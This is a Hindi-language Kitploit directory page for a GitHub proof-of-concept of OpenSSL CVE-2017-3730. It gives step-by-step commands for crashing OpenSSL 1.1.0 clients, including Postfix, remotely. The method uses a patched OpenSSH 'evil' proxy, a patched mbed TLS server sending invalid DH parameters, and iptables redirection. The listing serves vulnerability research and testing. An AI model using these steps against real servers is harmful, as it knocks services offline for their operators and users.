Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2017-3730 — OpenSSL CVE-2017-3730 प्रूफ-ऑफ-कॉन्सेप्ट | Kitploit
उपकरण/GitHubGitHub/olivierh59500/cve-2017-3730
भेद्यता विश्लेषणशोषणनेटवर्क सुरक्षाक्रिप्टोग्राफीपेनिट्रेशन टेस्टिंगबाइनरी शोषण
GitHubolivierh59500/cve-2017-3730

CVE-2017-3730

OpenSSL CVE-2017-3730 प्रूफ-ऑफ-कॉन्सेप्ट

रिपॉजिटरी देखें
529 साल पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2017-3730

OpenSSL CVE-2017-3730 प्रमाण-अवधारणा

OpenSSH का उपयोग करके DH मानों को फ्लाई पर पैच करने के लिए प्रॉक्सी के रूप में

  • एक SSL सर्वर बनाएं जो DHE-PSK-WITH-AES-256-GCM-SHA384 जैसे सिफरसुइट का उपयोग करता है। मान लें कि यह 10.0.2.2 पोर्ट 8899 पर चलता है।
  • openssh-7.4p1 प्राप्त करें
  • पैच लागू करें
  • इसे बनाएँ
  • इसे इस प्रकार चलाएँ:
root@kitploit:~
./ssh -vvv -N -D 1085 -o TCPKeepAlive=yes -o ServerAliveInterval=60 localhost
  • एक अलग टर्मिनल में ~/.tsocks.conf फ़ाइल बनाएँ जिसमें यह सामग्री हो:
root@kitploit:~
server = 127.0.0.1
server_port = 1085
server_type = 5
local = 127.0.0.0/255.255.255.0
  • ```export TSOCKS_CONF_FILE=`realpath ~/.tsocks.conf````
  • tsocks
  • यह एक शेल बनाता है जिसमें सभी नेटवर्क ट्रैफ़िक हमारे "evil" प्रॉक्सी के माध्यम से बहता है
  • openssl s_client -connect 10.0.2.2:8899 -psk AA
  • क्रैश

    • अमान्य DH पैरामीटर प्रदान करने के लिए mbed TLS को संशोधित करें

    • https://github.com/ARMmbed/mbedtls/archive/mbedtls-2.4.1.tar.gz प्राप्त करें
    • mbedtls-2.4.1-patch.txt लागू करें
    • make -j4 programs
    • सर्वर चलाएँ: programs/ssl/ssl_server2 force_ciphersuite=TLS-DHE-RSA-WITH-AES-256-GCM-SHA384
    • OpenSSL 1.1.0 क्लाइंट से इससे कनेक्ट करें
    • क्रैश

    दूरस्थ रूप से postfix को क्रैश करना

    • OpenSSL 1.1.0 के साथ postfix को कंपाइल करें
    • PATCHED mbed TLS के विरुद्ध crash-postfix.c को कंपाइल करें (ऊपर देखें)
    • मैंने जो किया वह यह था कि एक VM में postfix चलाया और होस्ट पर crash-postfix चलाया:
    • iptables -t nat -A OUTPUT -p tcp --dport 25 -j DNAT --to-destination 10.0.2.2:8888
    • crash-postfix प्रारंभ करें
    • postfix चलाएँ: posttls-finger 10.0.2.2
    • क्रैश
    टूल डाउनलोड करें